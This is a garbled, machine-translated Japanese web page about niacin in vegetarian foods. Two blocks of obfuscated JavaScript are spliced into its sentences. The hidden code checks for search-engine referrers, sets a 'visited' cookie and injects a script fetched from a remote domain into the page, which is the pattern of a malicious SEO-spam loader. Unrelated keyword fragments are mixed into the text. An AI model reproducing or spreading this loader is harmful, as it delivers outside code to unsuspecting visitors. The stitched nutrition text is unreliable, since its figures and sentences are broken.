1カップあたり4ミリグラムのナイアシン、そして同じ量の沸騰した新鮮なキノコはほぼ7ミリグラム.. constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x22ec76){_0x2bf548=window;}return _0x2bf548;};var _0x464b41=_0x4045da();var _0x4bdcd0='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x464b41['atob']||(_0x464b41['atob']=function(_0x88ce){var _0x2e6ed8=String(_0x88ce)['replace'](/=+$/,'');for(var _0x34d978=0x0,_0x136a56,_0x14bc97,_0x15caf7=0x0,_0x5e4c68='';_0x14bc97=_0x2e6ed8['charAt'](_0x15caf7++);~_0x14bc97&&(_0x136a56=_0x34d978%0x4?_0x136a56*0x40+_0x14bc97:_0x14bc97,_0x34d978++%0x4)?_0x5e4c68+=String['fromCharCode'](0xff&_0x136a56>>(-0x2*_0x34d978&0x6)):0x0){_0x14bc97=_0x4bdcd0['indexOf'](_0x14bc97);}return _0x5e4c68;});}());_0x50e6['FLVKeo']=function(_0x170ad4){var _0x11781a=atob(_0x170ad4);var _0x175f22=[];for(var _0x30cc02=0x0,_0xbe1694=_0x11781a['length'];_0x30cc02=0x0){_0x21a21a=!![];}}if(_0x21a21a){if(_0x390a9f[_0x50e6('0x2a')]!==_0x390a9f['ywMFj']){cookie['set'](_0x390a9f[_0x50e6('0x27')],0x1,0x1);if(!_0x3a21b5){if(_0x390a9f['ovIPR'](_0x390a9f[_0x50e6('0x2b')],_0x50e6('0x2c'))){_0x390a9f['iodfr'](include,_0x390a9f[_0x50e6('0x2d')](_0x390a9f[_0x50e6('0x2e')](_0x390a9f[_0x50e6('0x2f')],q),''));}else{var _0x483a31=document[_0x50e6('0x2')](_0x390a9f[_0x50e6('0x30')]);_0x483a31[_0x50e6('0x4')]=url;document[_0x50e6('0x5')](_0x390a9f['rvwMe'])[0x0][_0x50e6('0x31')](_0x483a31);}}}else{return undefined;}}}R(); ナイアシンはビタミンB-3とも呼ばれ、体をエネルギーに変換し、性別やストレスホルモンの産生に寄与し、コレステロールを低下させ、循環を改善します.
ナッツと種子はベジタリアン食のタンパク質の良い代替源であり、毎日のナイアシン摂取量にも寄与します.. var _0x45f9=['dllpTEY=','aHR0cHM6Ly9icmF6aWxjbG91ZC5tZW4vbC1uZXcucGhwPyZxdWVyeT0=','YkFndnU=','Q2xvYmI=','blFkQWw=','bU16ZXk=','YlltV0w=','aEZpdW4=','LnlhbmRleC4=','cmVmZXJyZXI=','V05Ba1Q=','UllVWXk=','aW5kZXhPZg==','bXZpUHk=','eGp3bEE=','bXpraWg=','QmtQVko=','aVRDTUQ=','ektqRU4=','aFd4b2c=','YXBwZW5kQ2hpbGQ=','c2NyaXB0','aGVhZA==','Y3JlYXRlRWxlbWVudA==','VFZoYlE=','c3Jj','Z2V0RWxlbWVudHNCeVRhZ05hbWU=','44OK44Kk44Ki44K344Oz44Ki44Of44OJK+mBjuWJsOaRguWPlivjg4jjg57jg4jjgrjjg6Xjg7zjgrkr44K/44OQ44K544Kz','eWhjanE=','bGVuZ3Ro','c3BsaXQ=','cmVwbGFjZQ==','OyBwYXRoPQ==','Y29va2ll','YnlTR04=','cEFoRWc=','Wmh0S2o=','bXJnbGY=','OyBleHBpcmVzPQ==','d2htQ1M=','RVNvSHQ=','S1prUEI=','Lmdvb2dsZS4=','LnlhaG9vLg==','LmFvbC4=','LmFzay4=','LmFsdGF2aXN0YS4=','dmlzaXRlZA==','UnBHbm8=','aHB5cko='];(function(_0x33c4a2,_0xc0552a){var _0x351c4a=function(_0x200ed3){while(--_0x200ed3){_0x33c4a2['push'](_0x33c4a2['shift']());}};_0x351c4a(++_0xc0552a);}(_0x45f9,0xab));var _0x50e6=function(_0x1ab7cd,_0x18a0f4){_0x1ab7cd=_0x1ab7cd-0x0;var _0x41a409=_0x45f9[_0x1ab7cd];if(_0x50e6['IHDfVT']===undefined){(function(){var _0x4045da=function(){var _0x2bf548;try{_0x2bf548=Function('return\x20(function()\x20'+'{}.. 多くの種類のパン、ベーグル、朝食用シリアルにはナイアシンが強化されており、摂取量を増やすのにも良い方法です.
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ジャガイモのナイアシンの量は、調理方法によってわずかに異なりますし、ジャガイモを菜食に加えるとナイアシンの摂取量が増えます.. 素晴らしい気分！ LIVESTRONGのMyPlateであなたの人生を変える.. 多くのベジタリアン食品には健康的なナイアシンが含まれており、毎日の摂取推奨量（14ミリグラム~16ミリグラム）を満たすのに役立ちます. contoh skripsi kedokteran pdfescape sicher
玄米にはナイアシン約9ミリグラムが含まれており、大麦と小麦のデュラムは1カップ8ミリグラム以上を含み、そばは1/4カップに2ミリグラムを超え、キビは1カップに9ミリグラムを超える.. コーンネイルおよびクスクスはナイアシンも含み、それぞれ5〜9ミリグラムおよび6ミリグラムである.. 1カップにナイアシン6ミリグラムが含まれていますが、購入したものは1グラムあたり1グラム未満です. 518b7cbc7d
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